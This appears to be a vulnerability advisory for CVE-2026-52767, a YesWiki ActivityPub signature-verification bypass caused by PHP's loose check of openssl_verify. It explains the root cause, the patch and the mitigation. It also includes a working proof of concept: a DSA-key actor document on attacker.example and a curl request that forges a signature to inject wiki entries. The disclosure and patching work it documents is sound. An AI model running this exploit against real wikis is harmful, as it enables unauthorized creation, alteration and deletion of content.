CVE-2026-52767: YesWiki ActivityPub Signature-Verification Bypass
A logic flaw in YesWiki's ActivityPub inbox lets any unauthenticated attacker create, update, or delete wiki entries by sending a crafted HTTP request with a junk signature that PHP's openssl_verify…
The problem
YesWiki's HttpSignatureService::verifySignature() guards the ActivityPub inbox with if (!openssl_verify(...)) { throw ... }. PHP's openssl_verify returns 1 (valid), 0 (invalid), -1 (internal error), or false (bad input). The loose boolean negation treats -1 as truthy, so !(-1) === false, the exception is never thrown, and the controller proceeds to processActivity().
The practical trigger on PHP 8.3 + OpenSSL 3.x is supplying a DSA public key in the actor document while listing algorithm=RSA-SHA256 in the Signature header. OpenSSL's EVP_VerifyFinal returns -1 because the algorithm and key type are incompatible. Any ActivityPub-enabled Bazar form is reachable with a single unauthenticated POST, allowing Create, Update, and Delete of arbitrary entries.
Proof of concept
A working proof-of-concept for CVE-2026-52767 in yeswiki/yeswiki, with the exact payload below.
# 1. Host an actor document at a URL you control that returns a DSA public key:
# GET http://attacker.example/actors/attacker
# {
# "id": "http://attacker.example/actors/attacker",
# "publicKey": {
# "id": "http://attacker.example/actors/attacker",
# "publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIB...DSA KEY...\n-----END PUBLIC KEY-----\n"
# }
# }
# 2. Confirm the bypass trigger (run inside the YesWiki container):
php -r '
$pem = file_get_contents("/tmp/attacker_keys/dsa.pub");
$key = openssl_get_publickey($pem);
$r = openssl_verify("hello", "junk", $key, "RSA-SHA256");
echo "openssl_verify returned: " . var_export($r, true) . "\n";
echo "!openssl_verify(...) is: " . var_export(!$r, true) . "\n";
'
# Expected: openssl_verify returned: -1
# !openssl_verify(...) is: false <-- bypass confirmed
# 3. Send the malicious Create activity (no valid signature needed):
ACTIVITY='{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Create",
"id": "http://attacker.example/activity/poc-001",
"actor":"http://attacker.example/actors/attacker",
"object": {
"id": "http://attacker.example/objects/poc-001",
"type": "Event",
"name": "Injected entry via signature bypass",
"content": "openssl_verify returned -1; YesWiki accepted us anyway",
"startTime": "2026-12-01T10:00:00Z",
"endTime": "2026-12-01T12:00:00Z"
}
}'
DIGEST="SHA-256=$(printf '%s' "$ACTIVITY" | openssl dgst -sha256 -binary | base64)"
DATE="$(date -uR | sed 's/+0000/GMT/')"
KEYID="http://attacker.example/actors/attacker"
SIG='keyId="'"$KEYID"'",algorithm="RSA-SHA256",headers="(request-target) host date digest content-type",signature="anVuaw=="'
curl -s -X POST "http://target.example/?api/forms/2/actor/inbox" \
-H "Content-Type: application/activity+json" \
-H "Date: ${DATE}" \
-H "Digest: ${DIGEST}" \
-H "Signature: ${SIG}" \
--data-raw "$ACTIVITY" \
-w '\n HTTP %{http_code}\n'
# Expected: HTTP 200 with entry written to yeswiki_pagesThe root cause is CWE-347 (Improper Verification of Cryptographic Signature) caused by PHP's loose type system. openssl_verify returns integer -1 on an internal OpenSSL error, and -1 is truthy in PHP, so !(-1) evaluates to false, skipping the throw entirely.
The bypass is triggered by supplying a DSA or EC public key in the actor document while advertising algorithm=RSA-SHA256 in the Signature header. OpenSSL's EVP_VerifyFinal returns -1 because the key type and algorithm are incompatible, not because the signature was checked and failed.
The Digest header is still enforced, but it is trivially satisfied by computing SHA-256 of the attacker-chosen body. The patch at commit d1795e0301e1a1078f17b4b98f56fff70de2029e replaces the loose check with a strict identity comparison: openssl_verify(...) !== 1, which correctly treats -1 as a failure and throws.
This is the canonical fix recommended by the PHP documentation for this function.
The fix
Upgrade to YesWiki 4.6.6. The patch changes if (!openssl_verify(...)) to if (openssl_verify(...) !== 1) in tools/bazar/services/HttpSignatureService.php, ensuring that an internal OpenSSL error (-1) is treated as a verification failure rather than success.
If you cannot upgrade immediately, disable ActivityPub federation on all Bazar forms.
Related research
- critical · 9.1CVE-2026-52766CVE-2026-52766: YesWiki Unauthenticated Arbitrary Page Deletion
- high · 8.3CVE-2026-52769CVE-2026-52769: YesWiki Unauthenticated SSRF via ActivityPub Signature keyId
- high · 7.5CVE-2026-52770CVE-2026-52770: YesWiki Bazar API Unauthenticated Boolean-Based SQL Injection
- high · 8.3CVE-2026-52771CVE-2026-52771: YesWiki Second-Order SQL Injection in Page Delete API